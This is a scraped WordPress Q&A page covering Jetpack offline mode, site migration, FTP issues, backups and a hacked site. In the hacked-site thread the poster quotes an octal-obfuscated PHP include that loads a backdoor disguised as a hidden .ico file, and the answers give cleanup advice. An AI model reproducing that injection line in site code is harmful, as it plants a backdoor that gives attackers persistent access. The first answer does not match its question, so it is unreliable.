Upload a data file to ftp server - wordpress

I am creating a jspdf. In that, I want to use an image. The data code of image is too long and occupies a lot of space. I want to upload it to my ftp server through filezilla and use that data code in my jspdf code through wordpress. I can upload it on my ftp server but when I open the page in which the code is used, it asks for username and password. How can I make it public?

WordPress and other similar CMS works differently when it comes to the headers and dependencies. You cannot simply upload the JS resource file and then use them. Even if you will try to edit your header.php or any other theme file, you are risking to make your theme stop working on WP upgrades. It is NOT recommended to do so until and unless you know what you are doing.
Now answering your question. Cycle2 has a WordPress plugin that you can install. Click here to download it. Or even simpler, go to the Plugins menu in your WP Dashboard and search for cycle2. You will find it very simple to install and activate the plugin. Follow the Plugin Documentation/Instructions on how to use it.
Visit this link to get go through the installation instructions.

Related

I have Jetpack installed on my wordpress, but Jetpack is offline, how can I open Jetpack?

I am new to wordpress, I installed wordpress using xampp, and recently installed Jetpack in wordpress, but Jetpack is offline, I refer to the Internet information, use the notepad++ editor to add more define('JETPACK_DEV_DEBUG' to the wp-config.php file , true ); after this line, re-navigate once, and the result is that Jetpack is offline.
Internet reference sources:
https://zh-tw.jetpack.com/support/development-mode/
https://jetpack.com/support/development-mode/?site=localhost::wordpress
Questions are as follows:
Because there is no plug-in editor installed, is there no response to changing the plug-in code?
My URL is localhost so Jetpack is automatically offline?
To change to another URL, for example: http://xxxxx.com, will Jetpack not be offline?
Jetpack is offline, can it not protect the website?
Jetpack is offline, is there any other way to solve it? How can I open Jetpack?
The photo on the left uses the notepad++ editor, and an extra line of code is added to the picture, and the photo on the right is the execution result.
enter image description here
enter image description here
First of all let's understand why your Jetpack is offline.
As per the documentation here Jetpack goes offline for 2 reasons:
When you add define( 'JETPACK_DEV_DEBUG', true ); to your wp-config.php file.
When it detects no period (.) In the URL. That means on http://localhost it'll not work but on http://localsite.local it'll work. It needs to detect a period/dot (.) In the url.
In your case its both. You have that line in your code as well as the url without period.
Now here are answers to your questions:
You don't need any plugin editor if you're working on local. You can use anything like NPP or VS code etc. Also, you should bever edit jetpack or any plugin directly.
Yes, as i mentioned earlier.
If you change to another URL make sure you add a period (.) to it like http://something.local
No, when its offline it can't.
If you remove that line from wp-config.php and change the url to something with period it'll automatically go online.
Pro Tip: Use local for faster wordpress developments. It'll save ton of your time doing setups and all with xampp and it gives you control of php and mysql config per site. It setups wordpress on local machine in 3 clicks. Pretty easy.
I hope i've solved all of your queries. If you have any other queries let me know.

Wordpress site hacked?

It looks like my wordpress site has been hacked. Following code snipt was in index.php, wp-config.php
<?php
/*6b9bb*/
#include "\057ho\155e/\151nt\145r7\0602/\160ub\154ic\137ht\155l/\167p-\151nc\154ud\145s/\152s/\164in\171mc\145/.\146b4\063d6\0700.\151co";
/*6b9bb*/
I have changed:
WP Admin URL and put strong password username
changed cpanel/FTP password with strong one
Implemented iTheme Security
Updated Wordpress to latest (themes and plugins)
However, the code again repeated. What can be good solutions?
p.s. I am using siteground.
Thanks
Yeah someone is including a .ico file (open it with a Text Editor, and you will see it is some php Code and no real ico file)
/home/inter702/public_html/wp-includes/js/tinymce/.fb43d680.ico
Somehow despite your changes of host and passwords you hacker is able to get in, once they are in they can setup all sorts of backdoors to keep access, any .php file of theirs can do this.
At the moment closing the initial front-door they use is your sole occupation.
Follow the advice in this article:
https://codex.wordpress.org/FAQ_My_site_was_hacked
And then: https://codex.wordpress.org/Hardening_WordPress
Here are some links about backdoors:
http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
http://smackdown.blogsblogsblogs.com/2012/11/14/hacked-on-hostpapa-or-netregistry/
http://ottopress.com/2009/hacked-wordpress-backdoors/
Source: https://wordpress.org/support/topic/wordpress-hacked-strange-files-appears/
Once the site is hacked, in my opinion, resistance is futile. No scan or tool will help you. you'll have to replace all files with fresh downloads. mostly it's straight forward:
Backup the whole installation (just in case)
Download the complete wp-content/uploads folder
Make a Screenshot or save the page with the currently active plugins
Delete ALL files
Get a fresh wordpress setup and extract it
Download a fresh copy of your theme and child-theme (recreate the previous setup)
Copy the previous wp-config.php to this fresh install. but take a GOOD look at it. usually it also has some virus/backdoors in it. usually easy to see and remove. now you're already connected with your DB
Examine the saved uploads folder for files that shouldnt be there, like php files. then upload it to the new folder
Reinstall all plugins, fresh downloads
I faced this problem too, and step by step I did the steps below:
Cleaning the injected code, manually
Changing all the passwords
Hiding the WP admin dashboard URL
Limiting the login attempts
Installing security plugins (Sucuri, Wordfence security)
Contracting with Sucuri plan
The good thing is to install Wordfence security plugin, run the scan, then you will detect all the files with the injected code and you can clean the injected code manually.
you can also visit this link too
https://naderzad.info/web-development/wordpress-code-injection/

Migrating client wp site for local development

I've been asked to help out with a former colleague of mine's Wordpress Site. Nothing crazy, just change the format of a page, and add some kind of form on another page. I'm not so concerned with these changes I need to make, but am more concerned with setting up an identical site locally so that I can exercise these changes, do whatever I need to do, then simply upload my changes.
Quick background of myself; web developer of about 5 years with strengths in the Javascript frameworks and Node sphere. I know what Wordpress is and can navigate through the project with relative ease. Where I fall short is uncertainty in the project set up side of things.
So I have both the project itself and an export of my clients database, and configuration is updated accordingly. When I attempt to run the site I'm constantly prompted with errors, most of which have me take a look at the code and see what exactly the problem is. At this point I've made quite a few adjustments to the site to try and make it work that I feel continuing development won't get me anywhere.
Is duplicating an existing site to a local env usually this difficult? Could bad implementation of the initial site by the previous developer be a reason why I'm now struggling? Am I missing a step?
Duplicating a WordPress website is not that difficult. If you have the wp admin login of your website then you can simply use duplicator or akeeba backup plugin, but no worries, if you do not have the wp login access and just have the wp files & db then try this: create a new db from phpmyadmin, place your files in wp theme directory, install your new wp by using your new db file created, after that import your db file and do the following changes in your wp config file found in your root directory.
You will need to type in the new database information: database name, database user, and the password.
Once you have updated those, click Save Changes
Fixing your Permalinks
Log into your WordPress Dashboard, using the username and password from the copy of WordPress you brought over
Under Settings, click Permalinks
You don't have to make any actual changes, just click the Save Changes button.
Doing this will update all the page and post URLs. If you have custom themes or plugins/widgets with old URLs, you will have to update those manually since there are not any plugins that are able to modify those as well.
For ref:
https://my.bluehost.com/cgi/help/2361
https://www.tipsandtricks-hq.com/how-to-easily-import-or-export-any-of-your-wordpress-database-content-using-phpmyadmin-3415

Cannot see changes in Wordpress in FTP client and vice versa

I am having some problems with Wordpress 3.7. I think they may be related and have something to do with a file ownership/rights issue but I am completely stuck.
I am using the default theme and I have uploaded a new header image
several times through the WP admin interface. Now that I am happy
with the image, I want to delete the old images. Firebug tells me
they are in [my wp root]/wp-content/uploads/2014/01. However, in my
FTP client, this directory is not visible. I only see [my wp
root]/wp-content/uploads/2013
.
When I log into the Wordpress admin interface, it tells me I should upgrade to 3.8. When I tell it to go ahead and give it my FTP credentials, it begins but gets stuck at "Verifying the unpacked files…". I get no error messages and when I give up and leave the page, there are no reports about a failed update. It just keeps showing me the "please update" message.
I am using the default theme and want to change style.css. I cannot do this in the theme editor, it tells me I have to make the file writable first, even after I give all the theme files 777 access in my FTP client (which probably is not a good idea). If I edit the file offline instead and then upload it via FTP, this doesn't have any effect. I can even delete the entire file and still nothing changes at the frontend.
I have tried to create a child theme through the FTP client but it does not show up in the WP backend.
The site is on a shared hosting platform. I can't find the details at the moment but it's a fairly regular setup (Linux, Apache, MySQL). I am testing in Firefox and caching is turned off. If I log out, and log back in again: same problems.
It is almost as if I am FTP-ing the wrong computer but I am really not. What am I missing?
Problem solved. I finally asked my hosting provider and as it turns out they had adjusted a few settings, making them too restrictive.

How to back up wordpress site to be restored after a clean installation

My Wordpress blog appears to have been hacked and now blogs do not save and any changes I make such as approving a comment do not have effect. I am trying to backup my website so as to uninstall wordpress and perform a clean re-instillation. I want to create a backup so that when i restore the website will appear with everything the same as before: posts, images, links, colors, comments, themes, pages, etc. I have already backed up the MySQL database successfully. How do i backup the rest of the site.
Please tell me how to backup the site and also how to restore the site.
Thanks
You need to backup both your database and your Wordpress installation. The main resource to use for this is the Wordpress site:
http://codex.wordpress.org/WordPress_Backups
If you have phpmyadmin installed you can do a database dump from ther. If you don't have this installed then use mysqldump.
Wordpress installation backup can be initiated through the following URL:
http://[yourwordpressurl]/wp-admin/export.php
That will contain "your posts, pages, comments, custom fields, categories, and tags".
These links should get you started:
http://www.geeksaresexy.net/2008/01/29/how-to-backup-and-restore-your-wordpress-blog/
http://www.siteground.com/tutorials/wordpress/wordpress_backup.htm
http://codex.wordpress.org/WordPress_Backups
Good idea to look at FAQ: My site was hacked « WordPress Codex and How to Completely Clean a Hacked Wordpress Install.
best thing to do is to manually copy the database, as wordpress restore has an upload limit on the built in restore function. so if you've been blogging for a while, this can be really bad.
mysqldump -u yourUsername -p yourDatabaseName > databaseName.sql
will create the file databaseName.sql this is a full clone of all your database info (all your posts & wordpress configs)
then you can restore later with
mysql -u yourUsername -p yourDatabaseName < databaseName.sql
I figured it out. One way to cleanly install a new version of Wordpress but not lose your website is the use the Wordpress export feature as mentioned by Jon.
http://codex.wordpress.org/Tools_Export_SubPanel
This exports your blog to an XML file that contains all content of your site: posts, comments, authors, pages, etc. However, images do not go with. However when importing this XML file there is an option to download and import the attachments automatically which can be done if the original site is still online. So what I did is export my XML file, upload it to a wordpress blog installed on a subdomain automatically getting the attachments, then export an XML file from the subdomain to import into the actual wordpress site. This way my attachments were simply moved around from site to subdomain back to site. This made it easy because I did not have to handle backing up my attachments manually.
So what I did was back up my theme, export my blog to XML, then delete wordpress and my database then reinstall it with a new database on both my site and a subdomain of my site.
Then I imported my XML file and put my theme in the themes folder of the subdomain. Then I exported an XML file of this subdomain copy of my site and imported it into my real site. This made my blog have all the content correct and the theme right but none of the links, plugins, or colors correct. I then had to customize wordpress through the panel to get it back to the look and feel it was. For this It was lucky I had a stored copy of the site to refer to.
This process was long because I actually had to rebuild my site twice, one for the subdomain and then again for the actual thing. But it fixed my problems.
You can simply use EverLive.net. No need to install any plugin. No need for shell access. With this service you can simply make your wordpress website backup to the cloud. One-click restore option is also available wheneven you need to restore.

Resources